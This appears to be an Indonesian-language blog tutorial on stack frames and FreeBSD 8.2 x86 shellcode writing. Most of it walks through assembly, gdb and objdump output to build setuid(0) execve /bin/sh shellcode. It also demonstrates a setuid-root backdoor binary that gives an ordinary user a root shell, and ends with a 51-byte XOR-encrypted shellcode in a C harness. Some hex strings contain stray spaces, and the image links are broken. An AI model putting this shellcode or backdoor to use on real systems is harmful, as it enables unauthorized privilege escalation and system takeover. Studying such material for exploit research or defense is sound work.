eip = 0x8048413 in operasi_stak (stack.c:6); saved eip 0x8048455
called by frame at 0xbfbfe9b0
source language c.
Arglist at 0xbfbfe98c, args: a=0x8048510 "AAAA", b=0x804850b "BBBB", 
c=0x8048506 "CCCC", d=0x8048501 "DDDD"
Locals at 0xbfbfe98c, Previous frame's sp is 0xbfbfe994
Saved registers:
ebp at 0xbfbfe98c, eip at 0xbfbfe990
(gdb) 
-----------------------

(alamat memori: 0x8048420 s/d 0x804845e merupakan bagian segment .text)

* penjelasan instruksi assembly yang didump:
ok jika kita lihat pertama 2 : lea 0x4(%esp),%ecx , di sini untuk menyimpan alamat dari argumen ke 0 ke register cx (ebp-4).
selanjutnya diikuti oleh rutin: and $0xfffffff0,%esp, perhatian $0xfffffff0 di sini maksudnya bukan alamat memori, jika kita konvert ke biner:
0xfffffff0 = 11111111111111111111111111110000
selanjutnya instruksi : pushl 0xfffffffc(%ecx) atau bisa juga ditulis: mov dword ptr[ebp-4],1

selanjutnya akan dipersiapkan stack frame pointer baru :
push %ebp
mov %esp,%ebp

variabel diinput ke stack mulai dari yang paling kanan dan selanjutnya s/d ke kiri: 
string dump DDDD pada alamat 0x8048501 setelah itu yang di lanjutkan CCCC dst
------------------------
(gdb) x/4s 0x8048501
0x8048501 <_fini+101>: "DDDD"
0x8048506 <_fini+106>: "CCCC"
0x804850b <_fini+111>: "BBBB"
0x8048510 <_fini+116>: "AAAA"
(gdb) 
--------------------
berada pada region elf <fini>. Pada saat fungsi dipanggil maka alamat eip untuk jmp kembali setelah pemanggilan fungsi akan disimpan di frame pointer
---------------------------------------

jika digambarkan lebih lengkap tentang variabel lokal (buffer) dan parameter serta stack frame pointer kurang lebih seperti ini:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4t9W02maBCvR9cSqdEEzi9itpCn72jFVLl-XKE9hdkMUOLCmt5Z7cQFSXGMk-XdJJkgDXypqy-uEWCa_Oc0RjnElYGvTppmKZHUebIIR_3A9j5QPihViKSImQkgEs8zOSIvSVbH5I0qk/s1600/fmt2.jpg">

Ret / EIP berisi alamat memori untuk return address ke bagian eksekusi kode selanjutnya. ebp disebut juga frame pointer. 

eip 0xbfbfea38 (3217025592)
ebp 0xbfbfea34 (3217025588)

Untuk lebih detailnya gambaranya adl sbb:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYZYXDCKg2O7ruYIy0afL5beM6Gusxzvu82Dhn7xnqw-JAMJVV1Y5ytYiI-OKOzDn2WNtLPU2mSQhMOysY6qdyjAUDVMBWc6uaMdehzFl8JxmnrhpGKYv9133HC8_gvJXzggQvXAoFtJQ/s1600/fmt3.jpg">

-----------------
-[Membuat shellcode di Freebsd 8.2 ]-----------------------------------------------------------------------------------------------------------------------------

"mengakses register lebih cepat dari mengakses memori karena register ada 
di cpu dan memori baru terhubung ke cpu melalui bus"

kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit 
------------------------
mywisdom# uname -a
FreeBSD mywisdom.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 
02:24:46 UTC 2011 
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
mywisdom# 
-----------------------
untuk freebsd 8.2 daftar syscall bisa dilihat di 
/usr/include/sys/syscall.h

-------------------
mywisdom# cat /usr/include/sys/syscall.h | grep setuid
#define SYS_setuid 23
-------------------

jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17 
hexa)
----------------
mov eax,0x17
int 80h
--------------
0x: berarti kita akan memindahkan angka berformat hex

untuk memastikanya coba kita liat lagi di /usr/include/unistd.h:
---------------------------
mywisdom# cat /usr/include/unistd.h | grep setuid
int setuid(uid_t);
---------------------------

terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan 
pemasukanya selalu : eax, ebx, ecx, edx, esi 

ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan 
syscall exit:

sebelumnya kita liat dulu kebutuhan kita:
-----------------------
mywisdom# cat /usr/include/sys/syscall.h | grep exit
#define SYS_exit 1
#define SYS_thr_exit 431
mywisdom# 
-----------------------
yang akan kita pakai adl yg ini:
#define SYS_exit 1

ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi 
syscall exit:

keluar:
mov eax,0x01
int 80h

------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push eax
push eax
mov eax,0x17 
int 80h

keluar:
push byte 0x01
pop eax
int 80h

-----------------


misal namanya setuid_exit.asm

mywisdom# nasm -f elf setuid_exit.asm
mywisdom# ld -o setuid_exit setuid_exit.o


mywisdom# ./setuid_exit

gak ada segmentation fault berarti ok heh?

untuk membuat shellcodenya gunakan objdump seperti di linux:
-----------------------------
mywisdom# objdump -d setuid_exit
setuid_exit: file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b8 17 00 00 00 mov $0x17,%eax
8048089: cd 80 int $0x80

0804808b <keluar>:
804808b: 6a 01 push $0x1
804808d: 58 pop %eax
804808e: cd 80 int $0x80
mywisdom# 
_________________

jika register eax diganti register ax, berdasarkan pengalaman masih ada 
null string, jadi kita pake register 8 bit: al

mov $0x17,%eax 

menjadi:


mov $0x17,%al


kompile:
mywisdom# nasm -f elf setuid_exit2.asm
mywisdom# ld -o setuid_exit setuid_exit.o

mywisdom# objdump -d setuid_exit2

setuid_exit2: file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b0 17 mov $0x17,%al
8048086: cd 80 int $0x80

08048088 <keluar>:
8048088: 6a 01 push $0x1
804808a: 58 pop %eax
804808b: cd 80 int $0x80

dari hasil objdump shellcodenya adl:

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x 80


--------------------
/**freebsd setuid then exit shellcode made by: mywisdom**/
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\ x80";
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode)); 
(*(void(*)()) shellcode)();

}
-------------------

misal namanya keluar.c:

mywisdom# gcc -o keluar keluar.c
mywisdom# ./keluar
Length: 13
mywisdom# 

dieksekusi dg benar

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x 80
1 2 3 4 5 6 7 8 9 10 11 12 13

ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid 
execve /bin/sh


------------------
mywisdom# cat /usr/include/sys/syscall.h | grep execve
#define SYS_execve 59
#define SYS___mac_execve 415
#define SYS_fexecve 492
mywisdom# 
-------------------

yang akan dipakai adalah yg: #define SYS_execve 59 

59 dalam hex: 3b

al kita isi dengan 3b

---------------
#include <unistd.h>

int
execve(const char *path, char *const argv[], char *const envp[]);


berikut ini kode assembly untuk eksekusi /bin/sh:
-----------------
xor eax,eax; eax diset ke null 
push byte 0 ;sama dengan push eax
push '//sh' ;alamat //sh disimpan ke stack
push '/bin'
mov ebx,esp 
push byte 0 ;sama dengan push eax
push esp
push ebx
push byte 0
mov al,0x3b ;syscall execve
int 80h
--------------------


jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini:
execve("/bin/sh", "/bin/sh", NULL)




setelah itu kita gabungkan dengan kode asm untuk setuid shellcode:
-----------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push byte 0
push byte 0
mov al,0x17
int 80h

xor eax,eax
push byte 0
push '//sh'
push '/bin'
mov ebx,esp
push byte 0
push esp
push ebx
push byte 0
mov al,0x3b
int 80h
--------------

untuk memahami kode di atas lalukan kompile dengan opsi -g:

----------
mywisdom# nasm -f elf suid.asm -g
mywisdom# ld -o suid suid.o
mywisdom# gdb -q suid
(gdb) l
1 ;copyleft by dom dom aka m0nk3y
2 global _start
3 section .text
4 _start:
5 xor eax,eax
6 push byte 0
7 push byte 0
8 mov al,0x17
9 int 80h
10 
(gdb) l
11 xor eax,eax
12 push byte 0
13 push '//sh'
14 push '/bin'
15 mov ebx,esp
16 push byte 0
17 push esp
18 push ebx
19 push byte 0
20 mov al,0x3b
(gdb) b 16
Breakpoint 1 at 0x804809a: file suid.asm, line 16.
(gdb) run
Starting program: /root/shellcode/suid 

Breakpoint 1, 0x0804809a in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0xbfbfe9f0 -1077941776
esp 0xbfbfe9f0 0xbfbfe9f0
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x804809a 0x804809a
eflags 0x246 582
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0: "/bin//sh"
(gdb) 

---------


sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack:

13 push '//sh'
14 push '/bin'

selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx:
15 mov ebx,esp

(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0: "/bin//sh"
(gdb) 

0xbfbfe9f0 adlaah alamat /bin/sh 

mulai break di baris ke 16 sehingga ebx :
ebx 0xbfbfe9f0 -1077941776

(gdb) x/s -1077941776
0xbfbfe9f0: "/bin//sh"
(gdb) 


gdb) b 21
Breakpoint 1 at 0x80480a2: file suid.asm, line 21.
(gdb) run
Starting program: /root/shellcode/suid 

Breakpoint 1, 0x080480a2 in _start ()

mywisdom# nasm -f elf suid.asm
mywisdom# ld -o suid suid.o
mywisdom# chmod u+s suid
mywisdom# uname -a
FreeBSD mywisdom.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 
02:24:46 UTC 2011 
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
mywisdom# su mywisdom
$ id
uid=1001(mywisdom) gid=1001(mywisdom) groups=1001(mywisdom)
$ ./suid
# id
uid=0(root) gid=0(wheel) egid=1001(mywisdom) groups=1001(mywisdom)
# 

(gdb) i r
eax 0x3b 59


karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana 
ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al 
dengan 
0x3b maka eax=0x3b 


Bonus Stage:
===============================================
/**
Title : 51 bytes FreeBSD/x86 encrypted setuid(0) execve /bin/sh
Date : Sun May 29 08:07:11 UTC 2011
Author; mywisdom (antonsoft_2004@yahoo.com)
Web : devilzc0de.org
Gopher: gopher://sdf.org/1/users/wisdomc0
Blog : http://myw1sd0m.blogspot.com/
Tested on: FreeBSD 8.2-RELEASE i386
special thanks to gunslinger,flyf666,petimati,peneter,wenkhairu, danzel, 
net_spy, and all my friends
**/
#include <stdio.h>
#include <string.h>
int main()
{
char sc[]="\xeb\x0d\x5e\x31\xc9\xb1\x1f\x80\x36\x42\x46\xe2 \xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x73\x82\x12\x12\xf2\x55\x8f\ xc2\x73\x82"
"\x12\x2a\x6d\x6d\x31\x2a\x2a\x6d\x20\x2b\x2c\xcb\ xa1\x12\x16"
"\x11\x12\xf2\x79\x8f\xc2";
fprintf(stdout,"Length: %d\n",strlen(sc)); 
(*(void(*)()) sc)();
return 0;
}
================================================

.
-[ Closing ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Segmen-Segmen Program di Dalam Memori :
* Data Segment (Data + BSS + Heap)
* Stack 
* Code segment atau bisa juga disebut segment text
* Memory
secara kasar inilah gambaran dari memori :

gambaran di atas merupakan virtual memory, berikut ini adl gambaran pemetaan virtual memori ke memori fisik:


Ok sekian dulu karena terbatasnya waktu. Enjoy reading.

==================================================